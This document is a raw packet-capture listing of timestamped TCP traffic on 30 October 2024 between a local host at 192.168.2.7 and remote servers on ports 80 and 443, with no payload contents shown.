Oct 30, 2024 04:35:33.921952009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.952626944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.952657938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.952670097 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.952682018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.952719927 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.952729940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.952743053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.952773094 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.952801943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.952811956 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.952840090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.952871084 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.952883005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.952908993 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.952915907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.952928066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.952934027 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.952951908 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.952974081 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.953555107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.953593016 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.953614950 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.953624964 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.953649998 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.953655005 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.953661919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.953672886 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.953674078 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.953699112 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.953742027 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.953833103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.953845024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.953880072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.953897953 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.954248905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.954261065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.954269886 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.954292059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.954329014 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.954390049 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.954432011 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.954463005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.954473972 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.954484940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.954503059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.954526901 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.954737902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.954773903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.954778910 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.954788923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.954812050 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.954837084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.996917009 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.996928930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.996938944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.996993065 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.997018099 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.015563011 CET	49989	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:34.015647888 CET	443	49989	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:34.015796900 CET	49989	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:34.016205072 CET	49989	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:34.016242027 CET	443	49989	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:34.039478064 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.039522886 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.039532900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.039572954 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.039592981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.039609909 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.039652109 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.070434093 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.070456028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.070481062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.070498943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.070514917 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.070523024 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.070532084 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.070554972 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.070617914 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.070669889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.070712090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.070784092 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.070817947 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.070827007 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.070839882 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.070856094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.070858002 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.070872068 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.070882082 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.070893049 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.070921898 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.071353912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071389914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071398020 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.071407080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071424007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071430922 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.071440935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071441889 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.071470976 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.071491957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.071516991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071558952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.071599960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071614981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071646929 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.071685076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.071703911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071718931 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071733952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071738005 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.071775913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.071948051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071963072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071979046 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.071988106 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.071995974 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.072025061 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.072077036 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.072223902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.072267056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.072278976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.072293997 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.072319031 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.072338104 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.072376966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.072392941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.072407007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.072412968 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.072423935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.072441101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.072463036 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.072818995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.072861910 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.114356995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.114375114 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.114389896 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.114404917 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.114454031 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.114485025 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.157285929 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.157305956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.157321930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.157471895 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.188142061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188159943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188179970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188213110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188227892 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188265085 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.188313007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188343048 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188366890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188388109 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.188388109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188405991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188503981 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.188693047 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188709021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188724041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188761950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.188817978 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.188905001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188919067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188961983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.188982010 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.188986063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189003944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189079046 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.189124107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189148903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189165115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189240932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.189336061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189352036 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189364910 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189420938 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.189481020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189505100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189544916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189559937 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189563990 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.189647913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.189729929 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189790964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.189793110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189819098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189834118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.189901114 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.189985991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.190025091 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.190052986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.190068960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.190104961 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.190161943 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.232126951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.232146025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.232158899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.232218981 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.232270002 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.274983883 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.275002003 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.275017977 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.275110006 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.275166035 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.306288004 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306304932 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306320906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306334972 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306351900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306452036 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306467056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.306478977 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306493998 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306509018 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306524038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306540012 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306562901 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306576014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306629896 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.306699991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.306735992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306799889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306802034 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.306816101 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306853056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.306900978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306910038 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.306917906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306932926 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306948900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.306969881 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.307063103 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.307111979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307125092 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307173967 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.307343006 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307440996 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.307461977 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307475090 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307488918 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307502985 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307518005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307533026 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.307533979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307631016 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.307799101 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307826042 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307841063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307857990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307859898 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.307873964 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.307950974 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.349841118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.349857092 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.349865913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.349880934 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.349957943 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.350007057 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.392776966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.392811060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.392827988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.392843962 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.392859936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.392923117 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.393003941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.423787117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.423801899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.423841000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.423856020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.423868895 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.423883915 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424011946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424040079 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424077988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424099922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424108028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424161911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424168110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424179077 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424212933 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424259901 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424287081 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424323082 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424334049 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424357891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424372911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424379110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424396038 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424422979 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424544096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424588919 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424669027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424683094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424698114 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424706936 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424715042 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424753904 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424753904 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424788952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424832106 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424865007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424890995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424905062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.424907923 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424935102 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.424957991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425082922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425096989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425117016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425127983 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425143957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425168037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425168991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425204992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425208092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425221920 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425244093 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425267935 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425304890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425323009 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425354004 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425379992 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425589085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425632000 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425642014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425657988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425689936 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425702095 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425709963 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425719976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.425743103 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.425765991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.467758894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.467776060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.467792034 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.467808008 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.467822075 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.467848063 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.510493994 CET	80	49986	185.215.113.16	192.168.2.7
